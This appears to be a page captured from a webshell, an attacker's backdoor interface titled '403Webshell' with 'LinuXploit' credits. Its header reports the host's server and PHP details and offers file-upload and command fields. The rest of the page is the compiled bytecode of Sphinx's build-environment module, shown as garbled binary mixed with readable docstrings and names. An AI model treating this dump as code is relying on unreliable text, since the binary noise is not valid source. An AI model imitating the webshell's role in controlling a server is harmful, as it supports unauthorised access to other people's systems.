403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/sphinx/environment/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/sphinx/environment/__pycache__/__init__.cpython-39.pyc
a

�abKe�@s*UdZddlZddlZddlZddlmZddlmZddlmZddlmZddl	m
Z
mZmZm
Z
mZmZmZmZmZmZmZddlmZdd	lmZdd
lmZddlmZddlmZdd
lm Z ddl!m"Z"ddl#m$Z$m%Z%m&Z&m'Z'ddl(m)Z)ddl*m+Z+ddl,m-Z-ddl.m/Z/ddl0m1Z1m2Z2m3Z3ddl4m5Z5ddl6m7Z7m8Z8ddl9m:Z:ddl;m<Z<m=Z=e
�r�ddl>m?Z?ddl@mAZAe3�BeC�ZDddddddddd dddd!dgd"�ZEe
eFefeGd#<d$ZHd%ZId&ZJd'ZKd(ZLeJe+d)�eKe+d*�eLe+d+�iZMde:d,�ZNe
eFeeOeffeGd-<Gd.d/�d/�ZPdS)0z�
    sphinx.environment
    ~~~~~~~~~~~~~~~~~~

    Global creation environment.

    :copyright: Copyright 2007-2022 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�defaultdict)�copy)�datetime)�path)�
TYPE_CHECKING�Any�Callable�Dict�	Generator�Iterator�List�Optional�Set�Tuple�Union)�nodes)�Node)�addnodes)�Config)�RemovedInSphinx60Warning)�Domain)�TocTree)�BuildEnvironmentError�
DocumentError�ExtensionError�SphinxError)�EventManager)�__)�Project)�SphinxTransformer)�
DownloadFiles�FilenameUniqDict�logging)�LoggingReporter)�CatalogRepository�docname_to_domain)�is_translatable)�
canon_path�os_path)�Sphinx)�Builder�idFTz https://www.python.org/dev/peps/z&https://datatracker.ietf.org/doc/html/z	utf-8-sig�)Zauto_id_prefixZembed_imagesZembed_stylesheetZcloak_email_addressesZpep_base_urlZpep_referencesZrfc_base_urlZrfc_references�input_encodingZdoctitle_xformZsectsubtitle_xformZsection_self_linkZ
halt_levelZfile_insertion_enabledZsmartquotes_locales�default_settings�8����z
new configzconfig changedzextensions changed)Znone�text�versioning_conditionsc@s�eZdZUdZeeefed<dZdd�dd�Zed�d	d
�Z	edd�dd
�Z
ddd�dd�Zedd�dd�Z
edd�dd�Zeeefedd�dd�Zedd�dd�Zeedddd�dd�Zeeed�d d!�Zd[eeed#�d$d%�Zd\eeeeefd&�d'd(�Zeeed�d)d*��Zed+dd,�d-d.�Zeeeeeeeefd/�d0d1�Zdeee eddfd2�d3d4�Z!edd�d5d6�Z"eed�d7d8��Z#d]ee$d:�d;d<�Z%edd�d=d>�Z&edd�d?d@�Z'dd�dAdB�Z(eedC�dDdE�Z)ee*j+d�dFdG�Z,d^ed+e*j+eee*j+dI�dJdK�Z-d_ed+e.j/ee$eeee0dM�	dNdO�Z1e*j+ed+ddP�dQdR�Z2e*j+eddS�dTdU�Z3eeeeefd�dVdW�Z4dd�dXdY�Z5dS)`�BuildEnvironmentz�
    The environment in which the ReST files are translated.
    Stores an inventory of cross-file targets and provides doctree
    transformations to resolve links to them.
    �domainsNr))�appcCsd|_d|_d|_d|_d|_d|_d|_d|_d|_d|_	d|_
i|_t�
�|_||jd<i|_tt�|_tt�|_t�|_tt�|_i|_i|_i|_i|_i|_i|_i|_i|_t�|_t�|_ i|_!t"�|_#t$�|_%i|_&i|_'i|_(|�r|�)|�nt*j+dt,dd�dS)N�envz?The 'app' argument for BuildEnvironment() becomes required now.r1)�
stacklevel)-r8�
doctreedir�srcdir�config�
config_status�config_status_extra�events�project�version�versioning_condition�versioning_comparer7r.r�settings�all_docsr�set�dependencies�included�
reread_always�dict�metadataZtitlesZ
longtitlesZtocsZtoc_num_entriesZtoc_secnumbersZtoc_fignumbers�toctree_includes�files_to_rebuildZ
glob_toctreesZnumbered_toctrees�
domaindatar!Zimagesr ZdlfilesZoriginal_image_uri�	temp_dataZref_context�setup�warnings�warnr)�selfr8�rU�?/usr/lib/python3.9/site-packages/sphinx/environment/__init__.py�__init__csP




�zBuildEnvironment.__init__)�returncCs|j��}|jdidd�|S)z'Obtains serializable data for pickling.N)r8r7r@)�__dict__r�update)rTrYrUrUrV�__getstate__�s
zBuildEnvironment.__getstate__)�staterXcCs|j�|�dS�N)rYrZ)rTr\rUrUrV�__setstate__�szBuildEnvironment.__setstate__)r8rXcCs�|jr&|j|j�|�kr&ttd���n|jrD|j|jkrDttd���|jrX|j�|j�||_|j	|_	|j
|_
|j|_|j|_|j�|�|_i|_|j�|�D]}||j|j
<q�|j��D]}|��q�|�|j�|�|j�dS)zSet up BuildEnvironment object.z%build environment version not currentzsource directory has changedN)rB�registryZget_envversionrrr<rAZrestorer8r;r@r7Zcreate_domains�name�valuesrQ�_update_configr=�_update_settings)rTr8�domainrUrUrVrQ�s&
zBuildEnvironment.setup)r=rXcCs�t|_d|_|jdurt|_n�|jj|jkr~t|_tt|jj�t|j�A�}t	|�dkrb|d}ndt	|�f}d|f|_n:|�
d�D].}|j|j|jkr�t
|_d|jf|_q�q�||_dS)z!Update configurations by new one.�Nr0rz%dz (%r)r9)�	CONFIG_OKr>r?r=�
CONFIG_NEW�
extensions�CONFIG_EXTENSIONS_CHANGED�sortedrG�len�filterr`�value�CONFIG_CHANGED)rTr=rh�	extension�itemrUrUrVrb�s&
�
zBuildEnvironment._update_configcCs:|j|jd<|j|jd<|jp d|jd<|j�dd�dS)zUpdate settings by new config.r-�trim_footnote_reference_space�enZ
language_codeZsmart_quotesTN)�source_encodingrErq�language�
setdefault)rTr=rUrUrVrcsz!BuildEnvironment._update_settings)�method�comparerXcCsTt|�r|}n|tvr"td|��t|}|jd|fvrDttd���||_||_dS)aXThis sets the doctree versioning method for this environment.

        Versioning methods are a builder property; only builders with the same
        versioning method can share the same doctree directory.  Therefore, we
        raise an exception if the user tries to use an environment with an
        incompatible versioning method.
        zinvalid versioning method: %rNzdThis environment is incompatible with the selected builder, please choose another doctree directory.)�callabler5�
ValueErrorrCrrrD)rTrvrwZ	conditionrUrUrV�set_versioning_method
s	z&BuildEnvironment.set_versioning_method)�docnamerXcCsP||jvr2|j�|d�|j�|d�|j�|�|j��D]}|�|�q<dS)z4Remove all traces of a source file in the inventory.N)rF�poprIrJ�discardr7ra�	clear_doc)rTr{rdrUrUrVr~$s
zBuildEnvironment.clear_doc)�docnames�otherr8rXcCs�t|�}|D]:}|j||j|<|j||j|<||jvr|j�|�q|j��D]\}}|�||j|�qR|j	�
d|||�dS)z�Merge global information gathered about *docnames* while reading them
        from the *other* environment.

        This possibly comes from a parallel build process.
        zenv-merge-infoN)rGrFrIrJ�addr7�itemsZmerge_domaindatarOr@�emit)rTrr�r8r{�
domainnamerdrUrUrV�merge_info_from.s
z BuildEnvironment.merge_info_from)�filenamerXcCs|j�|�S)z�Return the docname for the filename if the file is document.

        *filename* should be absolute or relative to the source directory.
        )rA�path2doc�rTr�rUrUrVr�@szBuildEnvironment.path2docT)r{�baserXcCs|j�||�S)z�Return the filename for the document name.

        If *base* is True, return absolute path under self.srcdir.
        If *base* is False, return relative path to self.srcdir.
        )rA�doc2path)rTr{r�rUrUrVr�GszBuildEnvironment.doc2path)r�r{rXcCstt|�}|�d�s|�tj�r,|dd�}n&t�|j|p<|jdd��}t�||�}t	t�
|��t�
t�|j|��fS)a+Return paths to a file referenced from a document, relative to
        documentation root and absolute.

        In the input "filename", absolute filenames are taken as relative to the
        source dir, while relative filenames are relative to the dir of the
        containing document.
        �/r0N)r�)r(�
startswith�os�sepr�dirnamer�r{�joinr'�normpathr<)rTr�r{Zrel_fnZdocdirrUrUrV�
relfn2pathOs��zBuildEnvironment.relfn2pathcCs|jjS)zcontains all existing docnames.)rAr�rTrUrUrV�
found_docsbszBuildEnvironment.found_docsr*)r=�builderrXc	
Cs�z�|jj|jj|��}|j�|�|jr�t|j|jj	|jj
|jj�}dd�|jD�}|j
D].}t||jj�}||vr^|j|�||�q^Wn<ty�}z$ttd�|j|f�|�WYd}~n
d}~00dS)zYFind all source files in the source dir and put them in
        self.found_docs.
        cSsi|]}|j|j�qSrU)rdZmo_path)�.0�crUrUrV�
<dictcomp>{�z/BuildEnvironment.find_files.<locals>.<dictcomp>z"Failed to scan documents in %s: %rN)r=Zexclude_patternsZtemplates_pathZget_asset_pathsrAZdiscoverZuse_message_catalogr$r<Zlocale_dirsrtrsZcatalogsr�r%Zgettext_compactrHr��OSErrorrr)	rTr=r�Z
exclude_pathsZrepoZmo_pathsr{rd�excrUrUrV�
find_filesgs,���
��zBuildEnvironment.find_files)�config_changedrXc
Cs�t|j�|j}t�}t�}|r*|j}�nZ|jD�]P}||jvrXt�d|�|�|�q0t�|j|d�}t�	|�s�t�d|�|�|�q0||j
vr�t�d|�|�|�q0|j|}t�|�|��}||kr�t�d|t
�|�t
�|��|�|�q0|j|D]~}	zRt�|j|	�}
t�	|
��s2|�|�Wq0t�|
�}||k�rV|�|�Wq0Wn$t�y||�|�Yq0Yn0�qq0|||fS)z&Return (added, changed, removed) sets.z[build target] added %r�.doctreez[build target] changed %rz$[build target] outdated %r: %s -> %s)rGrFr��logger�debugr�rr�r;�isfilerJ�getmtimer�rZutcfromtimestamprHr<r�)rTr�ZremovedZaddedZchangedr{r��mtimeZnewmtimeZdepZdeppathZdepmtimerUrUrV�get_outdated_files�sV







�






z#BuildEnvironment.get_outdated_files)r8�alreadyrXccsBg}|j�d|�D]}|�|�qt|�D]}||vr*|Vq*dS)Nzenv-get-updated)r@r��extendrG)rTr8r�Z
to_rewriterr{rUrUrV�check_dependents�sz!BuildEnvironment.check_dependentscCs2||jd<|jj|jd<|j�|jj�|jd<dS)z*Prepare to set up environment for reading.r{�default_roleZdefault_domainN)rPr=r�r7�getZprimary_domain)rTr{rUrUrV�prepare_settings�s
�z!BuildEnvironment.prepare_settingscCs
|jdS)z;Returns the docname of the document currently being parsed.r{)rPr�rUrUrVr{�szBuildEnvironment.docnamere)�categoryrXcCs(|d}|j�|d�}|d|j|<|S)z�Return a serial number, e.g. for index entry targets.

        The number is guaranteed to be unique in the current document.
        Zserialnorr0)rPr�)rTr��keyZcurrUrUrV�new_serialno�szBuildEnvironment.new_serialnocCs|j|j�|�dS)z�Add *filename* as a dependency of the current document.

        This means that the document will be rebuilt if this file changes.

        *filename* should be absolute or relative to the source directory.
        N)rHr{r�r�rUrUrV�note_dependency�sz BuildEnvironment.note_dependencycCs|j|j�|�|��dS)z�Add *filename* as a included from other document.

        This means the document is not orphaned.

        *filename* should be absolute or relative to the source directory.
        N)rIr{r�r�r�rUrUrV�
note_included�szBuildEnvironment.note_includedcCs|j�|j�dS)zxAdd the current document to the list of documents that will
        automatically be re-read at the next build.
        N)rJr�r{r�rUrUrV�note_reread�szBuildEnvironment.note_reread)r�rXc
CsHz|j|WStyB}zttd�|�|�WYd}~n
d}~00dS)zReturn the domain instance with the specified name.

        Raises an ExtensionError if the domain is not registered.
        zDomain %r is not registeredN)r7�KeyErrorrr)rTr�r�rUrUrV�
get_domain�szBuildEnvironment.get_domaincCsbt�|j|d�}t|d��}t�|�}Wd�n1s<0Y||j_t|�	|��|_
|S)z:Read the doctree for a file from the pickle and return it.r��rbN)rr�r;�open�pickle�loadrEr9r#r�Zreporter)rTr{r��f�doctreerUrUrV�get_doctrees(zBuildEnvironment.get_doctreeF)r{r�r��prune_toctrees�
includehiddenrXcCsj|dur|�|�}|�||�|�tj�D]:}t|�j|||||d�}|durZ|�g�q*|�|�q*|S)zgRead the doctree from the pickle, resolve cross-references and
        toctrees and return it.
        N)�pruner�)r��apply_post_transforms�findallr�toctreer�resolveZreplace_self)rTr{r�r�r�r�Ztoctreenode�resultrUrUrV�get_and_resolve_doctree
s
�z(BuildEnvironment.get_and_resolve_doctreer)	r{r�r�r��maxdepth�titles_only�collapser�rXc		
Cst|��||||||||�S)aResolve a *toctree* node into individual bullet lists with titles
        as items, returning None (if no containing titles are found) or
        a new node.

        If *prune* is True, the tree is pruned to *maxdepth*, or if that is 0,
        to the value of the *maxdepth* option on the *toctree* node.
        If *titles_only* is True, only toplevel document titles will be in the
        resulting tree.
        If *collapse* is True, all branches not containing docname will
        be collapsed.
        )rr�)	rTr{r�r�r�r�r�r�r�rUrUrV�resolve_toctree%s�z BuildEnvironment.resolve_toctree)r��fromdocnamer�rXcCs|�||�dSr])r�)rTr�r�r�rUrUrV�resolve_references7sz#BuildEnvironment.resolve_references)r�r{rXcCshzJt|j�}||jd<t|�}|�|�|�|jj���|��W||_n||_0|j	�
d||�dS)zApply all post-transforms.r{zdoctree-resolvedN)rrPrZset_environmentZadd_transformsr8r_Zget_post_transformsZapply_transformsr@r�)rTr�r{ZbackupZtransformerrUrUrVr�;s



z&BuildEnvironment.apply_post_transformscs�t��ttttttfd����fdd��i}�d�jj�}d}t|�\}}|D]"\}}|||g||<|}|}|}qR||dg||<|S)N)�parentr{rXc3s�||kr"tjtd�|ddd�dS||fV��|��j�|�pDgD]4}�||�D]$\}}|�vrT||fV��|�qTqFdS)Nz'self referenced toctree found. Ignored.ZtocZcircular)�location�typeZsubtype)r��warningrr�rMr�)r�r{�childZ	subparentZ
subdocname�rT�traverse_toctreeZ	traversedrUrVr�Os
�


z<BuildEnvironment.collect_relations.<locals>.traverse_toctree)rG�strrrr=�root_doc�next)rTZ	relationsrZprevdocr�r{Z
nextparentZnextdocrUr�rV�collect_relationsLs&z"BuildEnvironment.collect_relationscCs�t�j|j���}t|j�D]H}||jvr||jjkr8q||vrBqd|j	|vrRqt
jtd�|d�q|j
��D]}|��qp|j�d|�dS)zDo consistency checks.Zorphanz&document isn't included in any toctree)r�zenv-check-consistencyN)rG�unionrIrarjrFrNr=r�rLr�r�rr7�check_consistencyr@r�)rTrIr{rdrUrUrVr�ns

�
z"BuildEnvironment.check_consistency)N)T)N)re)NTF)TrFFF)6�__name__�
__module__�__qualname__�__doc__r	r�r�__annotations__rWr[r^rQrrbrcrr�boolrzr~rr�r
r�r�rr��propertyrr�r�r�r
r�r�r{�intr�r�r�r�r�rZdocumentr�r�rr�rr�r�r�r�r�rUrUrUrVr6Xs`
^ 	
�&9 


		
���
��"r6)Qr�r�r�rR�collectionsrrrr�typingrrrr	r
rrr
rrrZdocutilsrZdocutils.nodesrZsphinxrZ
sphinx.configrZsphinx.deprecationrZsphinx.domainsrZ#sphinx.environment.adapters.toctreerZ
sphinx.errorsrrrrZ
sphinx.eventsrZ
sphinx.localerZsphinx.projectrZsphinx.transformsrZsphinx.utilr r!r"Zsphinx.util.docutilsr#Zsphinx.util.i18nr$r%Zsphinx.util.nodesr&Zsphinx.util.osutilr'r(Zsphinx.applicationr)Zsphinx.buildersr*Z	getLoggerr�r�r.r�r�ZENV_VERSIONrfrgrnriZCONFIG_CHANGED_REASONr5r�r6rUrUrUrV�<module>st
4
���

Youez - 2016 - github.com/yon3zu
LinuXploit